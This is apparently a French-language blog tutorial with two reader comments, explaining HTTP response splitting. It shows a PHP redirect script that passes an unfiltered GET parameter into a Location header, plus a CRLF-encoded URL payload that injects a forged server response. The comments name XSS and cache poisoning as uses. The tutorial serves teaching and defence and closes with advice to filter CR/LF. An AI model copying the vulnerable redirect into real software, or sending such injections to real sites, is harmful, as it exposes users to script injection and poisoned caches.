HTTP Response Splitting ( Séparation de réponse HTTP )

Bien le bonjour :)

Pour vous présenter cette technique somme toute assez méconnue, je vous propose de vous faire un min-rappel sur le protocole HTTP, ou plutôt sur ce qui se passe lorsque votre naviguateur va sur le site www.exemple.com .

Si vous entrez “http://www.exemple.com” dans votre navigateur préféré ( au hasard Internet Explorer 5 ), la requête envoyée au serveur sera la suivante ( je simplifie ici énormément la requête ):

GET / HTTP/1.1
Host: www.exemple.com

Avec les caractères de retour chariot ( \r ) et de saut de ligne ( \n ), celà donne :

GET / HTTP/1.1\r\n
Host: www.exemple.com\r\n\r\n

Maintenant, regardons une requête un peu plus complète ( demande d’affichage de la page http://localhost/http_splitting.php ) :

GET /http_splitting.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive

Et la réponse du serveur:

HTTP/1.x 200 OK
Date: Sun, 02 Nov 2008 10:55:25 GMT
Server: Apache/2.2.9 (Win32) DAV/2 mod_ssl/2.2.9 OpenSSL/0.9.8h mod_autoindex_color PHP/5.2.6
X-Powered-By: PHP/5.2.6
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

Maintenant, intéressons nous à un script de redirection. La page http_splitting.php a pour code source :

<?php
if($_GET['page']) header("location:".$_GET['page']) ;
?>

Si nous demandons la page http://localhost/http_splitting.php?page=index.php, la requête sera :

GET /http_splitting.php?page=index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive

Et la réponse serveur :

HTTP/1.x 302 Found
Date: Sun, 02 Nov 2008 10:59:44 GMT
Server: Apache/2.2.9 (Win32) DAV/2 mod_ssl/2.2.9 OpenSSL/0.9.8h mod_autoindex_color PHP/5.2.6
X-Powered-By: PHP/5.2.6
Location: index.php [=> Notre argument page=index.php ]
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

Ce retour serveur qui conduit le naviguateur à exécuter la requête suivante :

GET /index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive

Bon, et maintenant, rentrons dans le vif du sujet :) .

Il est possible, à l’aide d’une URL “malicieuse”, disons plutôt spécialement formée, d’interféré et de modifier la réponse HTTP du serveur. Je m’explique :

Comme vous l’avez remarqué, lorsque j’appelle http_splitting.php?page=index.php , le retour serveur contient Location: index.php\r\n .

Maintenant, je vais demandé l’URL suivante :
http_splitting.php?page=%0d%0aContent-Type: text/html%0d%0aHTTP/1.1 200 OK%0d%0aContent-Type: text/html%0d%0a%0d%0a%3Chtml%3E%test%3C/html%3E
%0d = \r, %0a = \n
Cette même requête écrite plus clairement :
http_splitting.php?page=

Content-type: text/html
HTTP/1.1 200 OK
Content-Type: text/html
<html>test</html>

Que va-t-il se passé si l’on entre cette URL dans le naviguateur ?

La requête sera donc :

GET /http_splitting.php?page=http_splitting.php?page=%0d%0aContent-Type:%20text/html%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a%3Chtml%3E%test%3C/html%3E HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive

Et la réponse serveur, qui contiendra notre retour falsifié :

HTTP/1.x 302 Found
Date: Sun, 02 Nov 2008 10:59:44 GMT
Server: Apache/2.2.9 (Win32) DAV/2 mod_ssl/2.2.9 OpenSSL/0.9.8h mod_autoindex_color PHP/5.2.6
X-Powered-By: PHP/5.2.6
Location:
Content-type: text/html

HTTP/1.1 200 OK
Content-Type: text/html

<html>test</html>
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

Et donc, ce que nous verrons : <html>test</html> !

Les applications de ce principe sont multiples, car falsifié une réponse serveur permet par exemple de modifier la date de cache-control, de dernière édition de la page, d’intégré un code Javascript mesquin, …

Je ne peux que donc vous recommander de filtrer les %0d et autres %0a :) .

En espérant que cet article vous aura permis d’apprendre de nouvelles choses,

Bonne journey :]

2 commentaires sur “HTTP Response Splitting ( Séparation de réponse HTTP )”

  1. thomas dit :

    salut!
    j’ai bien saisis le principe de manipulation de la réponse du serveur mais je ne vois pas en quoi cela peut être utiliser pour modifier quoi que ce soit pour les autres utilisateurs
    Peu tu détailler les applications de ce principe ?

    merci :)

  2. admin dit :

    Eh bien, à l’aide d’une url, dans un e-mail par exemple ou lors d’une conversation instantanée, il va être possible de mené des attaques de type XSS ( Cross Site Scripting ), de cache-poisonning ( le proxy mettre en cache la version falsifié de la page, donc toutes les futurs demandeurs de cette page verront la page falsifié ! ) et des attaques à l’encontre des autres utilisateurs du proxy ( lorsque les requêtes sont mutualisé, il va etre possible de modifié le retour de la page pour tout les utilisateurs la demandant simultanément ! ).

    Mais il faut bien garder à l’esprit que cette attaque, ou vecteur d’attaque, selon comme on le conçoit, est très peu répandu, et finalement assez difficilement réalisable.
    Néanmoins, je vous recommande de bien penser à filtrer les caractères unicodes cités ci-dessus ;)

Laisser une réponse